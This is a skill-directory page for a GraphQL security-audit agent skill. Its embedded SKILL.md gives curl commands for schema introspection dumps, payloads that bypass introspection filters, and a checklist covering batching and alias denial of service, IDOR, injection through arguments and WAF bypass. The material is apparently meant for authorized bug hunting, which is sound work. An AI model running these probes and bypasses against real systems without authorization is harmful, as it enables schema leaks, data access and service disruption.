Skip to content
Skillpedia
Security5.5k Β· #14789

graphql-audit

What it does

This skill teaches an agent how to audit a GraphQL API, which lets clients ask for many fields in one call. It covers schema exposure, access control on single fields, and abuse of batching and nested queries.

When to use it

  • βœ“When a target exposes a /graphql or similar GraphQL endpoint.
  • βœ“When a tester wants to check whether schema introspection is open.
  • βœ“When a tester needs to check whether one user can read another user's records through GraphQL.

Skill link

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/graphql-audit/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/graphql-audit/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œAudit this GraphQL endpoint for open introspection and missing access checks on single objects.”

5 new skills a week. 1 minute to read.

How it works

The agent identifies the GraphQL engine, checks whether the schema is open, and tests field suggestions and access control. It also tries batching and alias patterns, then reports what it confirms.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

GRAPHQL SECURITY AUDIT

GraphQL flips the threat model β€” clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back.


0. QUICK KILL CHECKLIST

[ ] Run graphql_audit.sh <endpoint> β€” full automated sweep
[ ] Check if introspection is enabled (__schema query)
[ ] If introspection off β€” run clairvoyance for field discovery
[ ] Fingerprint engine (graphw00f) β€” different engines, different CVEs
[ ] Test query batching β€” send 100 identical queries in one POST
[ ] Test alias bombing β€” 1000 aliases in one query
[ ] Check field suggestions on typos β€” leaks schema even when introspection off
[ ] Try IDOR: query another user's object by ID, no auth check
[ ] Test field-level auth: query privileged fields (admin, role, internalNote)
[ ] Inject SQLi/NoSQLi via string arguments β€” id, filter, search args
[ ] Check subscriptions: can you subscribe to other users' events?
[ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks
[ ] Look for mutation rate limiting β€” account takeover / self-XSS via mutations

1. TOOL β€” graphql_audit.sh

# Basic audit
bash bughunter/tools/graphql_audit.sh https://target.com/graphql

# With auth cookie
bash bughunter/tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123"

# With Authorization header
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN"

# Through Burp proxy
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080

# Custom output directory
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphql

Output: findings/<target>/graphql/<timestamp>/

  • introspection.json β€” full schema dump (if enabled)
  • fingerprint.txt β€” engine type (graphw00f)
  • field_suggestions.txt β€” discovered fields via clairvoyance
  • batching_dos.txt β€” response time delta for 1 vs 100 queries
  • alias_bomb.txt β€” alias depth test results
  • injection.txt β€” injection scan results (built-in SQLi probe)
  • cop_report.txt β€” graphql-cop attack checklist results
  • summary.txt β€” hit/miss per phase

2. INTROSPECTION β€” Schema Leak (Most Common First Step)

Check If Enabled

curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

Full Schema Dump

# Pull complete introspection schema (pipe to InQL or graphql-voyager)
curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
  }' | jq . > schema.json

What To Look For In The Schema

- Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword
- Queries returning other users' objects: user(id: X), order(id: X)
- Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey
- Types: AdminUser, InternalConfig, DebugInfo
- Deprecated fields β€” often bypassed auth or forgotten
- Subscription types β€” real-time data leaks

Introspection Bypass Techniques

When __schema is blocked, try:

# Newline injection (bypasses naive keyword filters)
{"query": "query {\n  __schema\n  { queryType { name } } }"}

# Fragment trick
{"query": "fragment f on __Schema { queryType { name } } { ...f }"}

# __type instead of __schema (often overlooked in blocklists)
{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}

# Via GET request (some servers allow GET, filter only POST)
GET /graphql?query={__schema{queryType{na
FAQ

What is introspection?

It is a GraphQL feature that can reveal the full schema, and the skill checks whether it is turned on.

What if introspection is off?

The skill suggests field discovery and checking typo suggestions, which can still reveal parts of the schema.

Which tools does it name?

It names graphw00f, clairvoyance, GraphQLmap, graphql-cop, and inql.

Details

Original description by the author

GraphQL security hunting β€” introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, GraphQLmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.

repo: awarexone/Agentic-Bug-Hunter

Popularity

GitHub stars
5.5k
Ranking position
#14789
License
MIT
Updated
10/28/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills